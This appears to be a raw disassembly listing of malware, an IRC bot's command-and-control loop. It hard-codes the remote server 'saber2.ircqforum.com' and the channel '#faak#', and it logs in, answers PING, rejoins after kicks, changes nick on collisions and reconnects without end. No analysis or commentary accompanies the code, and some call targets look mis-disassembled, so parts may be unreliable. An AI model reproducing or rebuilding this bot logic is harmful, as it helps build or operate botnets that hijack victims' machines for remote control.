		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_40C1AE
		pop	ecx


loc_40E9F5:				; CODE XREF: ___:0040E9DEj
					; ___:0040E9E6j
		lea	eax, [ebp-0E4h]
		push	offset dword_43511C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp-0E4h]
		push	ebx
		push	eax
		call	sub_416D5A
		lea	eax, [ebp-0E4h]
		push	eax
		call	sub_40BF6D
		push	0B80h
		push	ebx
		push	offset dword_444340
		call	sub_417330
		call	sub_41730A
		push	7Fh
		push	offset aSaber2_ircqfor ; "saber2.ircqforum.com"
		push	offset dword_489C5C
		mov	dword_489DD0, ebx
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		mov	edi, offset dword_489CDC
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		mov	esi, offset dword_489D1C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 48h
		mov	dword_489DB0, ebx


loc_40EA83:				; CODE XREF: ___:0040EB29j
					; ___:0040EB34j ...
		mov	[ebp-4], ebx


loc_40EA86:				; CODE XREF: ___:0040EADDj
		cmp	dword_43F750, ebx
		jnz	short loc_40EAA4
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	dword_43F5AC
		test	eax, eax
		jnz	short loc_40EAA4
		push	7530h
		jmp	short loc_40EAD0
; ---------------------------------------------------------------------------


loc_40EAA4:				; CODE XREF: ___:0040EA8Cj
					; ___:0040EA9Bj
		push	offset dword_489C58
		mov	dword_489DCC, ebx
		call	sub_40EB92
		cmp	eax, 2
		mov	[ebp-8], eax
		jz	loc_40EB7E
		cmp	dword_489DCC, ebx
		jz	short loc_40EACB
		dec	dword ptr [ebp-4]


loc_40EACB:				; CODE XREF: ___:0040EAC6j
		push	0BB8h


loc_40EAD0:				; CODE XREF: ___:0040EAA2j
		call	near ptr 260086Bh
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_40EA86
		cmp	dword ptr [ebp-8], 2
		jz	loc_40EB7E
		cmp	[ebp-0Ch], ebx
		jz	short loc_40EB2E
		push	7Fh
		push	offset aSaber2_ircqfor ; "saber2.ircqforum.com"
		push	offset dword_489C5C
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_40EA83
; ---------------------------------------------------------------------------


loc_40EB2E:				; CODE XREF: ___:0040EAECj
		cmp	byte_42F654, bl
		jz	loc_40EA83
		push	7Fh
		push	offset byte_42F654
		push	offset dword_489C5C
		call	sub_418C10
		mov	eax, dword_42F5A4
		push	3Fh
		push	offset aFaak_0	; "#faak#"
		push	edi
		mov	dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_40EA83
; ---------------------------------------------------------------------------


loc_40EB7E:				; CODE XREF: ___:0040EABAj
					; ___:0040EAE3j
		call	sub_416F23


loc_40EB83:				; CODE XREF: ___:0040E74Aj
					; ___:0040E75Aj
		call	dword_43F5C8


loc_40EB89:				; CODE XREF: ___:0040E73Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB92	proc near		; CODE XREF: ___:0040EAAFp
					; DATA XREF: sub_40EE72+3B0Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40EBB7:				; CODE XREF: sub_40EB92+E6j
					; sub_40EB92+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_43F668
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40ADCA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40ECE4
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_417330
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_489DC0
		push	dword_42F5CC
		push	eax
		call	sub_415CFF
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_4450D8
		push	edi
		push	eax
		call	sub_418C10
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_43F6E8
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_4450CC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC7D
		push	esi
		call	dword_43F700
		call	sub_40ADF3
		push	7D0h


loc_40EC72:				; CODE XREF: sub_40EB92+146j
		nop
		call	near ptr 260086Bh
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------


loc_40EC7D:				; CODE XREF: sub_40EB92+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_435150
		call	sub_40BFE1
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40ECFA
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_43F700
		test	edi, edi
		jz	loc_40EBB7
		cmp	edi, 1
		jnz	short loc_40ECDA
		push	0DBBA0h
		jmp	short loc_40EC72
; ---------------------------------------------------------------------------


loc_40ECDA:				; CODE XREF: sub_40EB92+13Fj
		cmp	edi, 2
		jz	short loc_40ECE8
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------


loc_40ECE4:				; CODE XREF: sub_40EB92+5Aj
		xor	eax, eax
		jmp	short loc_40ECF4
; ---------------------------------------------------------------------------


loc_40ECE8:				; CODE XREF: sub_40EB92+14Bj
		push	[ebp+var_34]
		call	sub_417076
		pop	ecx
		push	2
		pop	eax


loc_40ECF4:				; CODE XREF: sub_40EB92+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40EB92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECFA	proc near		; CODE XREF: sub_40EB92+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40ED18:				; CODE XREF: sub_40ECFA+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40ED18
		cmp	byte_489DC8, bl
		jz	short loc_40ED3F
		push	offset byte_489DC8
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40D633
		add	esp, 0Ch


loc_40ED3F:				; CODE XREF: sub_40ECFA+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_415CFF
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4172AE
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EDA9
		push	[ebp+arg_0]
		call	dword_43F700
		push	1388h
		nop
		call	near ptr 260086Bh


loc_40EDA2:				; CODE XREF: sub_40ECFA+D9j
					; sub_40ECFA+153j
		xor	eax, eax


loc_40EDA4:				; CODE XREF: sub_40ECFA+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40EDA9:				; CODE XREF: sub_40ECFA+92j
					; sub_40ECFA+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		test	eax, eax
		jle	short loc_40EDA2
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_40A868
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40EDA9
		lea	edi, [ebp+var_A10]


loc_40EDFA:				; CODE XREF: sub_40ECFA+165j
		push	1
		pop	esi


loc_40EDFD:				; CODE XREF: sub_40ECFA+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40EE72
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40EE40
		push	7D0h
		call	near ptr 260086Bh
		nop
		jmp	short loc_40EDFD
; ---------------------------------------------------------------------------


loc_40EE40:				; CODE XREF: sub_40ECFA+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40EE6A
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40EE66
		cmp	esi, 0FFFFFFFFh
		jz	loc_40EDA2
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40EDFA
		jmp	loc_40EDA9
; ---------------------------------------------------------------------------


loc_40EE66:				; CODE XREF: sub_40ECFA+14Ej
		push	1
		jmp	short loc_40EE6C
; ---------------------------------------------------------------------------


loc_40EE6A:				; CODE XREF: sub_40ECFA+149j
		push	2


loc_40EE6C:				; CODE XREF: sub_40ECFA+16Ej
		pop	eax
		jmp	loc_40EDA4
sub_40ECFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE72	proc near		; CODE XREF: sub_40ECFA+12Ap

var_15B0	= byte ptr -15B0h
var_11B0	= byte ptr -11B0h
var_FB0		= byte ptr -0FB0h
var_DB0		= byte ptr -0DB0h
var_CB0		= byte ptr -0CB0h
var_CAC		= byte ptr -0CACh
var_BAC		= byte ptr -0BACh
var_BA8		= byte ptr -0BA8h
var_AA8		= byte ptr -0AA8h
var_A28		= byte ptr -0A28h
var_9C7		= byte ptr -9C7h
var_9C6		= byte ptr -9C6h
var_9C4		= byte ptr -9C4h
var_9C3		= byte ptr -9C3h
var_9BA		= byte ptr -9BAh
var_9B8		= byte ptr -9B8h
var_9B6		= byte ptr -9B6h
var_9B5		= byte ptr -9B5h
var_928		= byte ptr -928h
var_90C		= dword	ptr -90Ch
var_908		= byte ptr -908h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
var_7FC		= byte ptr -7FCh
var_7F8		= dword	ptr -7F8h
var_7F4		= byte ptr -7F4h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= byte ptr -7E8h
var_780		= byte ptr -780h
var_774		= byte ptr -774h
var_770		= dword	ptr -770h
var_76C		= byte ptr -76Ch
var_768		= byte ptr -768h
var_75C		= byte ptr -75Ch
var_73C		= dword	ptr -73Ch
var_738		= byte ptr -738h
var_710		= dword	ptr -710h
var_708		= byte ptr -708h
var_6FC		= dword	ptr -6FCh
var_6F8		= byte ptr -6F8h
var_6F4		= byte ptr -6F4h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_6E8		= byte ptr -6E8h
var_6B8		= byte ptr -6B8h
var_681		= byte ptr -681h
var_680		= byte ptr -680h
var_678		= byte ptr -678h
var_670		= byte ptr -670h
var_66C		= byte ptr -66Ch
var_668		= byte ptr -668h
var_5F8		= byte ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= dword	ptr -564h
var_560		= dword	ptr -560h
var_55C		= byte ptr -55Ch
var_50C		= dword	ptr -50Ch
var_508		= byte ptr -508h
var_504		= dword	ptr -504h
var_500		= byte ptr -500h
var_4F4		= dword	ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= byte ptr -4E8h
var_4C0		= byte ptr -4C0h
var_4A0		= dword	ptr -4A0h
var_488		= byte ptr -488h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_458		= byte ptr -458h
var_444		= byte ptr -444h
var_434		= byte ptr -434h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_3FC		= byte ptr -3FCh
var_3F8		= byte ptr -3F8h
var_3D8		= byte ptr -3D8h
var_3B4		= byte ptr -3B4h
var_398		= byte ptr -398h
var_388		= byte ptr -388h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2EC		= word ptr -2ECh
var_2EA		= word ptr -2EAh
var_2E8		= dword	ptr -2E8h
var_2DC		= byte ptr -2DCh
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 15B0h
		call	sub_417B30
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		mov	[ebp+var_C0], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_DC], ebx
		call	sub_417330
		push	1Bh
		lea	eax, [ebp+var_928]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		push	esi
		lea	eax, [ebp+var_FB0]
		push	ebx
		push	eax
		call	sub_417330
		dec	esi
		lea	eax, [ebp+var_FB0]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	offset asc_4387B8 ; " :"
		push	eax
		call	sub_417880
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_FB0]
		push	esi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		mov	esi, offset asc_42A3B4 ; " "
		lea	eax, [ebp+var_11B0]
		push	esi
		push	eax
		call	sub_418B6E
		add	esp, 34h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_BC], 1Fh


loc_40EF45:				; CODE XREF: sub_40EE72+E7j
		push	esi
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_BC]
		pop	ecx
		jnz	short loc_40EF45
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40F239
		cmp	[ebp+var_90], ebx
		jz	loc_40F239
		push	100h
		lea	eax, [ebp+var_A28]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40EF93:				; CODE XREF: sub_40EE72+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40EFBF
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40EFC7
		cmp	[eax+2], bl
		jnz	short loc_40EFC7
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A28], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40EFBF:				; CODE XREF: sub_40EE72+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40EF93


loc_40EFC7:				; CODE XREF: sub_40EE72+12Aj
					; sub_40EE72+12Fj
		cmp	[ebp+var_9B5], bl
		jz	short loc_40EFD2
		mov	[ebp+var_8], edi


loc_40EFD2:				; CODE XREF: sub_40EE72+15Bj
		cmp	[ebp+var_9BA], bl
		jz	short loc_40EFE0
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_40EFE0:				; CODE XREF: sub_40EE72+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40F01A
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		push	offset asc_4387B4 ; "!"
		push	eax
		call	sub_418B6E
		add	esp, 20h


loc_40F01A:				; CODE XREF: sub_40EE72+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F06B
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40F10F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		jmp	loc_40F10F
; ---------------------------------------------------------------------------


loc_40F06B:				; CODE XREF: sub_40EE72+1B7j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D1
		push	esi
		push	offset a005	; "005"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D1
		push	esi
		push	offset a302	; "302"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F0D3
		push	offset a@	; "@"
		push	[ebp+var_88]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40F10F
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_418C10
		jmp	short loc_40F10C
; ---------------------------------------------------------------------------


loc_40F0D3:				; CODE XREF: sub_40EE72+238j
		push	esi
		push	offset a433	; "433"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F116
		push	ebx
		push	dword_489DC0
		push	dword_42F5CC
		push	[ebp+arg_10]
		call	sub_415CFF
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633


loc_40F10C:				; CODE XREF: sub_40EE72+25Fj
		add	esp, 0Ch


loc_40F10F:				; CODE XREF: sub_40EE72+1D8j
					; sub_40EE72+1F4j ...
		mov	eax, edi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_40F116:				; CODE XREF: sub_40EE72+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_BC], 2
		mov	edi, 80h


loc_40F128:				; CODE XREF: sub_40EE72+2DBj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F145
		mov	[ebp+var_AC], 1


loc_40F145:				; CODE XREF: sub_40EE72+2C7j
		add	esi, edi
		dec	[ebp+var_BC]
		jnz	short loc_40F128
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F241
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2


loc_40F174:				; CODE XREF: sub_40EE72+392j
		cmp	[esi], bl
		jz	loc_40F1FF
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40F1FF
		cmp	[ebp+var_88], ebx
		jz	short loc_40F1FF
		push	[ebp+var_88]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F1FF
		lea	eax, [ebp+var_D8]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438738
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 14h


loc_40F1FF:				; CODE XREF: sub_40EE72+304j
					; sub_40EE72+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40F174
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F239
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40F22E:				; CODE XREF: sub_40EE72+618j
					; sub_40EE72+978j
		push	[ebp+arg_4]
		call	sub_40D633


loc_40F236:				; CODE XREF: sub_40EE72+57D6j
					; sub_40EE72+57F3j ...
		add	esp, 10h


loc_40F239:				; CODE XREF: sub_40EE72+5Bj
					; sub_40EE72+F1j ...
		push	1


loc_40F23B:				; CODE XREF: sub_40EE72+5CE9j
		pop	eax


loc_40F23C:				; CODE XREF: sub_40EE72+29Fj
					; sub_40EE72+229Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F241:				; CODE XREF: sub_40EE72+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F397
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax


loc_40F26A:				; CODE XREF: sub_40EE72+44Aj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2B7
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40F2B7
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_1C]
		push	edi
		call	sub_4179D0
		add	esp, 10h
		mov	edi, 80h


loc_40F2B7:				; CODE XREF: sub_40EE72+409j
					; sub_40EE72+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40F26A
		lea	eax, [ebp+var_D8]
		test	eax, eax
		jz	loc_40F239
		cmp	[ebp+arg_24], ebx
		jz	loc_40F239
		push	[ebp+arg_10]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2FF
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F2FF:				; CODE XREF: sub_40EE72+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40F304:				; CODE XREF: sub_40EE72+4B3j
		cmp	[edi], bl
		jz	short loc_40F31B
		lea	eax, [ebp+var_AA8]
		push	eax
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F32C


loc_40F31B:				; CODE XREF: sub_40EE72+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F304
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F32C:				; CODE XREF: sub_40EE72+4A7j
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	eax
		call	sub_417AB0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40F239
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_0	; ":%s%s"
		push	esi
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_4C0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F397:				; CODE XREF: sub_40EE72+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3B9
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F3E0


loc_40F3B9:				; CODE XREF: sub_40EE72+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40F3BE:				; CODE XREF: sub_40EE72+56Cj
		cmp	[edi], bl
		jz	short loc_40F3D4
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F42E


loc_40F3D4:				; CODE XREF: sub_40EE72+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F3BE


loc_40F3E0:				; CODE XREF: sub_40EE72+545j
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F48F
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F417
		mov	eax, [ebp+arg_20]
